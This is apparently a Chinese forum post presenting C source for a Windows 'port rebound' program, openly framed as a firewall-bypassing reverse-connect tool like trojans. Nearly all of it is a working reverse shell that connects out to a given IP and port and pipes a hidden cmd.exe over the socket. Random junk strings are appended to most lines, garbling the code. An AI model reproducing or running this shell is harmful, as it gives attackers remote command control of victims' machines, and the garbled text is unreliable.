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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4/ _jrZO  
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/* ============================== LYD iqOrx  
Rebound port in Windows NT 4 Ej->T.  
By wind,2006/7 TKB8%/_p  
===============================*/ n _K1%  
#include d{S'6*`D  
#include c4fH/-  
cp`J ep<T  
#pragma comment(lib,"wsock32.lib") $${I[2 R)  
dc)%5fV\  
void OutputShell(); 7{ m>W!  
SOCKET sClient; 3``JrkPI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5#.m'a)  
Jt8;ddz  
void main(int argc,char **argv) \s)MN s  
{ sX1DbEjj[o  
WSADATA stWsaData; 9JA@m  
int nRet; w"' Pn`T  
SOCKADDR_IN stSaiClient,stSaiServer; I$; `^z  
wH~A> 4*(  
if(argc != 3) IC cr  
{ cGV%=N^BE<  
printf("Useage:\n\rRebound DestIP DestPort\n"); KQf WpHwfj  
return; )> ZT{eF  
}  0s;~9>  
t% qep|  
WSAStartup(MAKEWORD(2,2),&stWsaData);  =yod  
^Q8yb*MN  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UR'[?  
u@_|4Bp,"  
stSaiClient.sin_family = AF_INET; M/o?D <'  
stSaiClient.sin_port = htons(0); BN9e S   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =8]`-(  
x=DxD&I!J  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Bp^LLH  
{ _lv{8vf1B  
printf("Bind Socket Failed!\n"); z*},N$2=  
return; fpf]qQ W~7  
} Yi Zk|K_  
m9[ 7"I  
stSaiServer.sin_family = AF_INET; nah?V" ?Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,WyEwc]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p/Ul[7A4e  
'4'Z  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0|AgmW_7 .  
{ yJ?=##  
printf("Connect Error!"); PysDDU}v  
return; yQhO-jT  
} $ar^U  
OutputShell(); +R*DE5dz  
} dj0%?g>  
9`f@"%h  
void OutputShell() $FPq8$V  
{ (.#nl}fA  
char szBuff[1024]; 2^'Ec:|f  
SECURITY_ATTRIBUTES stSecurityAttributes; ys`-QlkB  
OSVERSIONINFO stOsversionInfo; fG0ZVV!   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Kd oI  
STARTUPINFO stStartupInfo; a>v *  
char *szShell; m"!SyN}&9?  
PROCESS_INFORMATION stProcessInformation; d|R-K7 ~~  
unsigned long lBytesRead; x;?8Zr  
y.Z_\@  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R'gd/.[e  
if&bp ,  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +?)7 l  
stSecurityAttributes.lpSecurityDescriptor = 0; F3bTFFt  
stSecurityAttributes.bInheritHandle = TRUE; 7hk<{gnr  
^Laqq%PI  
e|k]te  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); aU6l>G`w  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]wid;<  
kZ5#a)U<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f#ZM 2!^!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T<*)Cdid  
stStartupInfo.wShowWindow = SW_HIDE; 94B%_  
stStartupInfo.hStdInput = hReadPipe; i:YX_+n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yEWm.;&3=  
}#7l-@{<  
GetVersionEx(&stOsversionInfo); ]Za[]E8MD  
3jZGO9ttnS  
switch(stOsversionInfo.dwPlatformId) {~9zuNi  
{ $NR[U+  
case 1: :)lS9<Y}  
szShell = "command.com"; ]T)N{"&N/  
break; HO<|EH~lu  
default: I(M/ X/  
szShell = "cmd.exe"; 336ETrG^0  
break; T`e`nQ0nn  
} 9n(68|^$  
v? ."`,e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V0^{Ss1M  
&5y  
send(sClient,szMsg,77,0); ^}P94(oz  
while(1) (7qlp*8.s  
{ nXn@|J&z~U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3(oMASf  
if(lBytesRead) AFi_P\X  
{ i(% 2t(wf+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1 *' /B  
send(sClient,szBuff,lBytesRead,0); g|Lbe4?  
} W.^zN'a  
else #ZJ 1\Ov  
{ :6Z2@9.}w  
lBytesRead=recv(sClient,szBuff,1024,0); {@2+oOuYfN  
if(lBytesRead<=0) break; B.y}S  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6:(s8e  
} o9}\vN0F  
} {}s/p9F4  
}.o.*N  
return; AE:(:U\  
}
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